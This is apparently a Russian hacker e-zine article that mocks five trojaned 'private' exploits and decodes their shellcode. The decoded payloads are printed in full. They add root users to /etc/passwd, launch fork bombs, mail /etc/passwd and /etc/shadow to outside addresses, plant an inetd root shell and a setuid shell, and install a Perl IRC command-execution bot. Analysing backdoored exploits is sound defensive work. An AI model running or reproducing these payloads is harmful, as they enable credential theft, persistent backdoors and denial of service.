=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\=/=\
the top 5 lame shellcodez
-==-==-==-==-==-==-==-==-
Очень часто мы сталкиваемся с fake эксплоитами, или эксплоитами, шеллкод которых
содержит какой-нибудь бэкдор. Среди них попадаются произведения искусства, а
есть просто тупейший слив, который часто еще и не работает, потому что руки
хакИра растут даже не из задницы, а вообще не растут. Представляем нашу горячую
пятёрку таких вот твАрений.
[5] Начнем. Это наиболее простой случай ламофрении, поэтому особо на нем
задерживаться не будем.
Имя файла: apache1.c
Легенда: удаленный root для apache 1.3.4
Хидер:
/* remote apache 1.3.4 root exploit (linux) */
Шеллкод:
\x65\x63\x68\x6f\x20\x68\x61\x6b\x72\x3a\x3a\x30\x3a
\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x20
\x3e\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77
\x64
Действие:
echo hakr::0:0::/:/bin/sh >> /etc/passwd
/* тупизм состоит в том, что если даже у юзера в машине торчит telnet или ssh
или еще что-то, то под юзером с uid/gid равным 0 по умолчанию его просто не
пустят. если и делать такую каку - то добавлять двух юзеров - суперпользователя
и простого пользователя, чтоб можно было удаленно приконнектиться и уже локально
перейти на суперпользователя. */
/* кстати, если кого-то смущает возможность получения root посредством apache,
то скажу, что демон апача [ только 1.3.x, 2.0.x полностью переписан в этом плане
] работает под рутом, а вот уже все чайлды, которые создаются при подключении
юзеров, работают под nobody/apache */
[4] Шеллкод написан на асме, что уже делает ему честь, однако сделано всё в нём
через жопу.
Имя файла: apache1327.c
Легенда: удаленный рут шелл через apache 1.3.27 [ как однообразен этот мир )) ]
Хидер:
/* :: PRIVATE - DO NOT DISTRIBUTE ::
* Apache/1.3.27 - Remote Root Exploit
* Knights of the Eastern Calculus (info_at_koec.org)
*/
Шеллкод:
\x31\xdb\x31\xc0\x31\xd2\xb2\x18\x68\x20\x3f\x21
\x0a\x68\x54\x52\x31\x58\x68\x65\x20\x4d\x34\x68
\x73\x20\x54\x68\x68\x61\x74\x20\x69\x68\x2d\x2d
\x57\x68\x89\xe1\xb0\x04\xcd\x80\xb8\x02\x00\x00
\x00\xcd\x80\xeb\xf7\x00\xcb\xad\x80\x00\x00\x02
\x73\x21\x54\x68\x68\x61\x74\x21\x69\x68\x2d\x2d
\x0a\x67\x54\x52\x31\x57\x67\x65\x20\x4d\x34\x67
\x67\x68\x89\xe1\xb2\x04\xcd\x80\xb8\x02\x80\x00
\x53\x89\xe1\x50\x51\x53\x50\xb0\x3b\xcd\x80\xcc
\x68\x47\x47\x47\x47\x89\xe3\x31\xc0\x50\x50\x50
\x04\x53\x50\x50\x31\xd2\x31\xc9\xb1\x80\xc1\xe1
\xc0\xb0\x85\xcd\x80\x72\x02\x09\xca\xff\x44\x24
\x04\x20\x75\xe9\x31\xc0\x89\x44\x24\x04\xc6\x44
\x64\x24\x08\x89\x44\x24\x0c\x89\x44\x24\x10\x89
\x54\x24\x18\x8b\x54\x24\x18\x89\x14\x24\x31\xc0
Исходник [ из gdb ]:
31 DB xorl %ebx, %ebx
C0 xorl %eax, %eax
31 D2 xorl %edx, %edx
B2 18 movb %dl,$0x18
68 20 3F 21 0A pushl $0x0A213F20
68 54 52 31 58 pushl $0x58315254
68 65 20 4D 34 pushl $0x344D2065
68 73 20 54 68 pushl $0x68542073
68 61 74 20 69 pushl $0x69207461
68 2D 2D 57 68 pushl $0x68572D2D
89 E1 movl %ecx, %esp
B0 04 movb %al, $0x04
CD 80 int $0x80
Действие:
кидает в stdout фразу 'what is matrix?' и вешает машину с помощью бесконечного
цикла fork()-ов.
[3] Весьма весёлый сплоит для ls (Linux X86 fileutils-4x local root)
Имя файла: lsroot.c
Легенда: получение рута через fileutils (которые, кстати никогда suid-ными не
были)
Хидер:
/* !!PRIVATE !!PRIVATE !!PRIVATE !!PRIVATE !!PRIVATE !!PRIVATE
*
* lsroot.c Linux X86 fileutils-4x local root exploit
*
* Tested under:
*
* Redhat 7.0 fileutils-4.0x-3
* Redhat 7.1 fileutils-4.0.36-4
* Redhat 7.2 fileutils-4.1-4
* Redhat 7.3 fileutils-4.1-10
*
* jason
*/
/* из серии "а вам слабо?" ) */
Исходник:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char hellc0de[] = "\x69\x6e\x74\x20\x67\x65\x74\x75\x69\x64\x28\x29\x20\x7b\x20\x72\x65"
"\x74\x75\x72\x6e\x20\x30\x3b\x20\x7d\x0a\x69\x6e\x74\x20\x67\x65\x74"
"\x65\x75\x69\x64\x28\x29\x20\x7b\x20\x72\x65\x74\x75\x72\x6e\x20\x30"
"\x3b\x20\x7d\x0a\x69\x6e\x74\x20\x67\x65\x74\x67\x69\x64\x28\x29\x20"
"\x7b\x20\x72\x65\x74\x75\x72\x6e\x20\x30\x3b\x20\x7d\x0a\x69\x6e\x74"
"\x20\x67\x65\x74\x65\x67\x69\x64\x28\x29\x20\x7b\x20\x72\x65\x74\x75"
"\x72\x6e\x20\x30\x3b\x20\x7d\x0a\x0/bin/sh";
int main()
{
FILE *fp;
char *offset;
fp=fopen("/tmp/own.c","w");
fprintf(fp,"%s",hellc0de);
fclose(fp);
system("gcc -shared -o /tmp/own.so /tmp/own.c;rm -f /tmp/own.c");
if (fork() == 0) {
sleep(10); while (1) { fork(); offset=malloc(512); }
exit(0);
}
system("LD_PRELOAD=/tmp/own.so /bin/sh");
return 0;
}
Действие:
автор этого шита большой шутник. На наших глазах он компилит и подгружает в
LD_PRELOAD такую библиотеку (исходник которой прячется в "шеллкоде"):
int getuid() { return 0; }
int geteuid() { return 0; }
int getgid() { return 0; }
int getegid() { return 0; }
Далее, как это отлично видно (во наглость-то Ж))), сплоит запускает /bin/sh и мы
видим рутовской promt. Через 10 секунд после этого тачка виснет от ставшего уже
традиционным бесконечного fork'a. Ничего оригинального, зато весело ))
[2] Относительно нормальный эксплоит и ``шеллкод'', хоть и не el8 ).
Имя файла: неизвестно
Легенда: удаленный эксплоит для Sendmail <= 8.12.9
Хидер:
/*
###############################################################################
!!! PRIVATE PRIVATE PRIVATE PRIVATE PRIVATE PRIVATE PRIVATE PRIVATE PRIVATE !!!
###############################################################################
~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~
~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~
~|~ Sendmail <= 8.12.9 remote exploit ~|~
~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~
~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~
by 0wN-U, [email protected]
Exploit for new sendmail vulnerability - discovered again - by Michal Zalewski.
securityfocus link: http://www.securityfocus.com/archive/1/337839
This exploit will work against sendmail <= 8.12.9 on Linux, *BSD and Solaris.
###>>> If everything is ok, you will find shell on target box, port 31337
NOTE: This exploit is very powerful, and only root can use it.
Have a nice time with this exploit ;-).
>>>>>>>>>>>> YOU SHOULD NOT HAVE THIS 0day SENDMAIL WAREZ!!!! <<<<<<<<<<<<<<<<
THIS IS VERY PRIVATE, DO NOT DISTRIBUTE!!!.
- props to l33tT(), r3t4rd, n0b0dy, gopulg-et and mebej (U-stupid-l4mer;-)
- drops to whitehats^H^H^H^Hsuckz ;-)))
###############################################################################
!!! PRIVATE PRIVATE PRIVATE PRIVATE PRIVATE PRIVATE PRIVATE PRIVATE PRIVATE !!!
###############################################################################
*/
/* мдя.. строчка про рута, мягко говоря, смущает ) */
Шеллкод:
\x65\x63\x68\x6f\x20\x22\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d
\x2d\x2d\x2d\x2d\x2d\x2d\x22\x20\x3e\x20\x69\x6e\x66\x6f\x2e\x70\x68
\x75\x6e\x3b\x65\x63\x68\x6f\x20\x24\x55\x53\x45\x52\x20\x24\x4f\x53
\x54\x59\x50\x45\x20\x3e\x3e\x20\x69\x6e\x66\x6f\x2e\x70\x68\x75\x6e
\x3b\x65\x63\x68\x6f\x20\x22\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d
\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x22\x20\x3e\x3e\x20\x69\x6e\x66\x6f\x2e
\x70\x68\x75\x6e\x3b\x75\x6e\x61\x6d\x65\x20\x2d\x61\x20\x3e\x3e\x20
\x69\x6e\x66\x6f\x2e\x70\x68\x75\x6e\x3b\x65\x63\x68\x6f\x20\x22\x2d
\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x22
\x20\x3e\x3e\x20\x69\x6e\x66\x6f\x2e\x70\x68\x75\x6e\x3b\x69\x66\x63
\x6f\x6e\x66\x69\x67\x20\x3e\x3e\x20\x69\x6e\x66\x6f\x2e\x70\x68\x75
\x6e\x3b\x65\x63\x68\x6f\x20\x22\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d
\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x22\x20\x3e\x3e\x20\x69\x6e\x66\x6f
\x2e\x70\x68\x75\x6e\x3b\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x68\x6f
\x73\x74\x73\x20\x20\x3e\x3e\x20\x69\x6e\x66\x6f\x2e\x70\x68\x75\x6e
\x3b\x65\x63\x68\x6f\x20\x22\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d
\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x22\x20\x3e\x3e\x20\x69\x6e\x66\x6f\x2e
\x70\x68\x75\x6e\x3b\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73
\x73\x77\x64\x20\x3e\x3e\x20\x69\x6e\x66\x6f\x2e\x70\x68\x75\x6e\x3b
\x65\x63\x68\x6f\x20\x22\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d
\x2d\x2d\x2d\x2d\x2d\x2d\x22\x20\x3e\x3e\x20\x69\x6e\x66\x6f\x2e\x70
\x68\x75\x6e\x3b\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x73\x68\x61\x64
\x6f\x77\x20\x3e\x3e\x20\x69\x6e\x66\x6f\x2e\x70\x68\x75\x6e\x3b\x65
\x63\x68\x6f\x20\x22\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d
\x2d\x2d\x2d\x2d\x2d\x22\x20\x3e\x3e\x20\x69\x6e\x66\x6f\x2e\x70\x68
\x75\x6e\x3b\x63\x61\x74\x20\x69\x6e\x66\x6f\x2e\x70\x68\x75\x6e\x20
\x7c\x20\x6d\x61\x69\x6c\x20\x68\x34\x78\x30\x72\x68\x34\x78\x33\x72
\x40\x68\x6f\x74\x6d\x61\x69\x6c\x2e\x63\x6f\x6d\x3b\x65\x63\x68\x6f
\x20\x62\x67\x70\x20\x20\x73\x74\x72\x65\x61\x6d\x20\x20\x74\x63\x70
\x20\x20\x20\x20\x20\x6e\x6f\x77\x61\x69\x74\x20\x20\x72\x6f\x6f\x74
\x20\x20\x20\x20\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2f\x62\x69\x6e\x2f
\x73\x68\x20\x2d\x69\x20\x3e\x3e\x20\x2f\x65\x74\x63\x2f\x69\x6e\x65
\x74\x64\x2e\x63\x6f\x6e\x66\x3b\x6b\x69\x6c\x6c\x61\x6c\x6c\x20\x2d
\x48\x55\x50\x20\x69\x6e\x65\x74\x64\x3b\x63\x70\x20\x2f\x62\x69\x6e
\x2f\x73\x68\x20\x2f\x74\x6d\x70\x2f\x2e\x67\x6f\x74\x69\x74\x2d\x24
\x55\x53\x45\x52\x3b\x63\x68\x6d\x6f\x64\x20\x34\x37\x37\x37\x20\x2f
\x74\x6d\x70\x2f\x2e\x67\x6f\x74\x69\x74\x2d\x24\x55\x53\x45\x52\x3b
\x65\x63\x68\x6f\x20\x30\x77\x6e\x75\x3a\x3a\x30\x3a\x30\x3a\x30\x77
\x6e\x75\x3a\x2f\x72\x6f\x6f\x74\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x20
\x3e\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x3b\x70\x77
\x63\x6f\x6e\x76\x3b
/* по легенде шеллкод должен вешать оболочку на порт 31337. что-то не похож ) */
Исходник:
echo "-----------------" > info.phun;
echo $USER $OSTYPE >> info.phun;
echo "-----------------" >> info.phun;
uname -a >> info.phun;
echo "-----------------" >> info.phun;
ifconfig >> info.phun;
echo "-----------------" >> info.phun;
cat /etc/hosts >> info.phun;
echo "-----------------" >> info.phun;
cat /etc/passwd >> info.phun;
echo "-----------------" >> info.phun;
cat /etc/shadow >> info.phun;
echo "-----------------" >> info.phun;
cat info.phun | mail [email protected];
echo bgp stream tcp nowait root /bin/sh /bin/sh -i >> /etc/inetd.conf;
/* хехе, а разве кто-то еще юзает inetd?? */
killall -HUP inetd;
cp /bin/sh /tmp/.gotit-$USER;
chmod 4777 /tmp/.gotit-$USER;
echo 0wnu::0:0:0wnu:/root:/bin/sh >> /etc/passwd;
/* опять же, создал только одного юзера - с uid 0. а для того чтобы под ним
зайти нужен еще один - обычный юзер. благо в данном случае есть shadow и john
the ripper, но нах себе жизнь усложнять?? */
pwconv;
[1] Вот эта дрянь по праву заслужила первое место в нашем shit-листе.
Подробности ниже.
Имя файла: неизвестно [ найдено по-моему, где-то в форуме zone-h ]
Легенда: супер-приватно-элитный эксплоит к rpc.mountd
Хидер:
/*
*
* PRIVATE VERSION WITH MORE TARGETS!!!!
* PRIVATE PRIVATE PRIVATE PRIVATE PRIVATE PRIVATE
* PRIVATE PRIVATE PRIVATE PRIVATE PRIVATE PRIVATE
* PRIVATE PRIVATE PRIVATE PRIVATE PRIVATE PRIVATE
* PRIVATE PRIVATE PRIVATE PRIVATE PRIVATE PRIVATE
*
* remote exploit for rpc.mountd (nfs-utils 0 && buff[n-1] != '\n') {
* buff[n++] = '\n'; buff[n++] = '\0';
* }
*
* a NULL byte will overflow buff, thus overwriting the LSB of the frame pointer.
*
* We do not control the area pointed by the new frame pointer, but we do control the area
* of &hp (in auth_authenticate()), thus we can overwrite hp and make it point to an area
* we like.
* hp will get free()d so we can make it point to our fake chunk which can overwrite ebp+4,
* which is the area ret will look for its return address (when ebp is copied to stack
* pointer and the ret is popped when leaving auth_authenticate()).
*
* Have fun
*
* Greetz: gunzip@ircnet and for dumileast for the new targets :P
*
*/
Шеллкод:
\x65\x63\x68\x6f\x20\x27\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70
\x65\x72\x6c\x27\x20\x3e\x3e\x20\x61\x2e\x70\x6c\x20\x3b\x20\x65\x63\x68
\x6f\x20\x27\x24\x63\x68\x61\x6e\x3d\x22\x23\x6c\x61\x6d\x65\x6d\x61\x74
\x65\x22\x3b\x27\x20\x3e\x3e\x20\x61\x2e\x70\x6c\x20\x3b\x65\x63\x68\x6f
\x20\x27\x24\x6e\x69\x63\x6b\x3d\x22\x6c\x61\x6d\x65\x6d\x61\x74\x65\x22
\x3b\x27\x20\x3e\x3e\x20\x61\x2e\x70\x6c\x20\x3b\x65\x63\x68\x6f\x20\x27
\x24\x73\x65\x72\x76\x65\x72\x3d\x22\x69\x72\x63\x2e\x64\x61\x78\x6e\x65
\x74\x2e\x6e\x6f\x22\x3b\x27\x20\x3e\x3e\x20\x61\x2e\x70\x6c\x20\x3b\x65
\x63\x68\x6f\x20\x27\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d\x3d\x7b\x7d
\x3b\x65\x78\x69\x74\x20\x69\x66\x20\x66\x6f\x72\x6b\x3b\x75\x73\x65\x20
\x49\x4f\x3a\x3a\x53\x6f\x63\x6b\x65\x74\x3b\x24\x73\x6f\x63\x6b\x20\x3d
\x20\x49\x4f\x3a\x3a\x53\x6f\x63\x6b\x65\x74\x3a\x3a\x49\x4e\x45\x54\x2d
\x3e\x6e\x65\x77\x28\x24\x73\x65\x72\x76\x65\x72\x2e\x22\x3a\x36\x36\x36
\x37\x22\x29\x7c\x7c\x65\x78\x69\x74\x3b\x70\x72\x69\x6e\x74\x20\x24\x73
\x6f\x63\x6b\x20\x22\x55\x53\x45\x52\x20\x6c\x61\x6d\x65\x6d\x61\x74\x65
\x20\x2b\x69\x20\x6c\x61\x6d\x65\x6d\x61\x74\x65\x20\x3a\x6c\x61\x6d\x65
\x6d\x61\x74\x65\x72\x76\x32\x5c\x6e\x4e\x49\x43\x4b\x20\x6c\x61\x6d\x65
\x6d\x61\x74\x65\x5c\x6e\x22\x3b\x24\x69\x3d\x31\x3b\x77\x68\x69\x6c\x65
\x28\x3c\x24\x73\x6f\x63\x6b\x3e\x3d\x7e\x2f\x5e\x5b\x5e\x20\x5d\x2b\x20
\x28\x5b\x5e\x20\x5d\x2b\x29\x20\x2f\x29\x7b\x24\x6d\x6f\x64\x65\x3d\x24
\x31\x3b\x6c\x61\x73\x74\x20\x69\x66\x20\x24\x6d\x6f\x64\x65\x3d\x3d\x22
\x30\x30\x31\x22\x3b\x69\x66\x28\x24\x6d\x6f\x64\x65\x3d\x3d\x22\x34\x33
\x33\x22\x29\x7b\x24\x69\x2b\x2b\x3b\x24\x6e\x69\x63\x6b\x3d\x7e\x73\x2f
\x5c\x64\x2a\x24\x2f\x24\x69\x2f\x3b\x70\x72\x69\x6e\x74\x20\x24\x73\x6f
\x63\x6b\x20\x22\x4e\x49\x43\x4b\x20\x24\x6e\x69\x63\x6b\x5c\x6e\x22\x3b
\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63\x6b\x20\x22\x4a\x4f\x49
\x4e\x20\x24\x63\x68\x61\x6e\x5c\x6e\x50\x52\x49\x56\x4d\x53\x47\x20\x24
\x63\x68\x61\x6e\x20\x3a\x6c\x61\x6d\x65\x6d\x61\x74\x65\x20\x76\x32\x2e
\x31\x5c\x6e\x50\x52\x49\x56\x4d\x53\x47\x20\x24\x63\x68\x61\x6e\x20\x3a
\x74\x6f\x20\x72\x75\x6e\x20\x63\x6f\x6d\x6d\x61\x6e\x64\x73\x2c\x20\x74
\x79\x70\x65\x3a\x20\x22\x2e\x24\x6e\x69\x63\x6b\x2e\x22\x3a\x20\x63\x6f
\x6d\x6d\x61\x6e\x64\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x28\x3c\x24\x73
\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e\x47\x20\x28
\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63\x6b
\x20\x22\x50\x4f\x4e\x47\x20\x24\x31\x5c\x6e\x4a\x4f\x49\x4e\x20\x24\x63
\x68\x61\x6e\x5c\x6e\x22\x3b\x7d\x69\x66\x28\x73\x2f\x5e\x5b\x5e\x20\x5d
\x2b\x20\x50\x52\x49\x56\x4d\x53\x47\x20\x24\x63\x68\x61\x6e\x20\x3a\x24
\x6e\x69\x63\x6b\x5b\x5e\x20\x3a\x5c\x77\x5d\x2a\x3a\x5b\x5e\x20\x3a\x5c
\x77\x5d\x2a\x20\x28\x2e\x2a\x29\x24\x2f\x24\x31\x2f\x29\x7b\x73\x2f\x5c
\x73\x2a\x24\x2f\x2f\x3b\x24\x5f\x3d\x60\x24\x5f\x60\x3b\x66\x6f\x72\x65
\x61\x63\x68\x28\x73\x70\x6c\x69\x74\x20\x22\x5c\x6e\x22\x29\x7b\x70\x72
\x69\x6e\x74\x20\x24\x73\x6f\x63\x6b\x20\x22\x50\x52\x49\x56\x4d\x53\x47
\x20\x24\x63\x68\x61\x6e\x20\x3a\x24\x5f\x5c\x6e\x22\x3b\x73\x6c\x65\x65
\x70\x20\x31\x3b\x7d\x7d\x7d\x23\x63\x68\x6d\x6f\x64\x20\x2b\x78\x20\x2f
\x74\x6d\x70\x2f\x6c\x6f\x6c\x20\x32\x3e\x2f\x64\x65\x76\x2f\x6e\x75\x6c
\x6c\x3b\x2f\x74\x6d\x70\x2f\x6c\x6f\x6c\x27\x20\x3e\x3e\x20\x61\x2e\x70
\x6c\x20\x3b\x70\x65\x72\x6c\x20\x61\x2e\x70\x6c\x3b\x20\x63\x61\x74\x20
\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20\x3e\x3e\x20\x6f\x77\x6e
\x2e\x74\x78\x74\x3b\x20\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x73\x68\x61
\x64\x6f\x77\x20\x3e\x3e\x20\x6f\x77\x6e\x2e\x74\x78\x74\x20\x3b\x20\x63
\x61\x74\x20\x2f\x65\x74\x63\x2f\x68\x6f\x73\x74\x73\x20\x3e\x3e\x20\x6f
\x77\x6e\x2e\x74\x78\x74\x3b\x20\x75\x6e\x61\x6d\x65\x20\x2d\x61\x20\x3e
\x3e\x20\x6f\x77\x6e\x2e\x74\x78\x74\x3b\x20\x69\x66\x63\x6f\x6e\x66\x69
\x67\x20\x3e\x3e\x20\x6f\x77\x6e\x2e\x74\x78\x74\x3b\x20\x63\x61\x74\x20
\x6f\x77\x6e\x2e\x74\x78\x74\x20\x7c\x20\x6d\x61\x69\x6c\x20\x65\x61\x72
\x69\x61\x73\x40\x68\x75\x73\x68\x2e\x63\x6f\x6d\x20\x3b\x20\x63\x61\x74
\x20\x6f\x77\x6e\x2e\x74\x78\x74\x20\x7c\x20\x6d\x61\x69\x6c\x20\x53\x6f
\x6e\x69\x63\x6f\x36\x30\x40\x68\x6f\x74\x6d\x61\x69\x6c\x2e\x63\x6f\x6d
\x20\x3b\x72\x6d\x20\x2d\x72\x66\x20\x6f\x77\x6e\x2e\x74\x78\x74\x3b\x72
\x6d\x20\x2d\x72\x66\x20\x61\x2e\x70\x6c\x3b
Исходник:
echo '#!/usr/bin/perl' >> a.pl ;
echo '$chan="#lamemate";' >> a.pl ;
echo '$nick="lamemate";' >> a.pl ;
echo ' $server="irc.daxnet.no";' >> a.pl ;
echo '$SIG{TERM}={};
/* вот после этого момента можно не смотреть на последующий perl код, поскольку
он не сохранится в файл, а просто будет вывален в оболочку, которая ругнется на
каждую строку и ничего не выполнит. ну а вообще, по идее, этот скрипт должен
подключаться на irc и сообщать автору о том, какой он ламер */
exit if fork;
use IO::Socket;
$sock = IO::Socket::INET->new($server.":6667")||exit;
print $sock "USER lamemate +i lamemate :lamematerv2\nNICK lamemate\n";
$i=1;
while(<$sock>=~/^[^ ]+ ([^ ]+) /)
{
$mode=$ 1;last if $mode=="001";
if($mode=="433")
{
$i++;
$nick=~s/\d*$/$i/;
print $sock "NICK $nick\n";
}}
print $sock "JOIN $chan\nPRIVMSG $chan :lamemate v2.1\nPRIVMSG $chan :to run commands, type: ".$nick.": command\n";
while(<$sock>)
{
if (/^PING (.*)$/)
{
print $sock "PONG $1\nJOIN $chan\n";
}
if(s/^[^ ]+ PRIVMSG $chan :$nick[^ :\w]*:[^ :\w]* (.*)$/$1/){s/\s*$//;$_=`$_`;
foreach(split "\n")
{
print $sock "PRIVMSG $chan :$_\n";
sleep 1;
}
}}
#chmod +x /tmp/lol 2>/dev/null;
/* эта команда выполнена не будет */
/tmp/lol' >> a.pl ;
/* эта тоже ) */
perl a.pl;
cat /etc/passwd >> own.txt;
cat /etc/shadow >> zwn.txt ;
/* тупейшая ошибка. хакИр перепутал буквы и содержимое shadow сохранилось в
другой файл, который он, естесственно, себе не отправил. */
cat /etc/hosts >> own.txt;
uname -a >> own.txt;
ifconfig >> own.txt;
cat own.txt | mail [email protected] ;
cat own.txt | mail [email protected] ;
rm -rf own.txt;
rm -rf a.pl;
/* типичный ламер, который не знает, что mail за один прогон может отправлять
письмо нескольким получателям + не знает, что rm можно передать больше одного
файла в качестве параметра + не знает что такое рекурсия [ поэтому использует
ключ -r] */
/* на данном этапе нужно помнить что в директории остался файл zwn.txt, который
содержит хэшированные пароли из shadow */
[ Prev Page | Goto Content | Next Page ]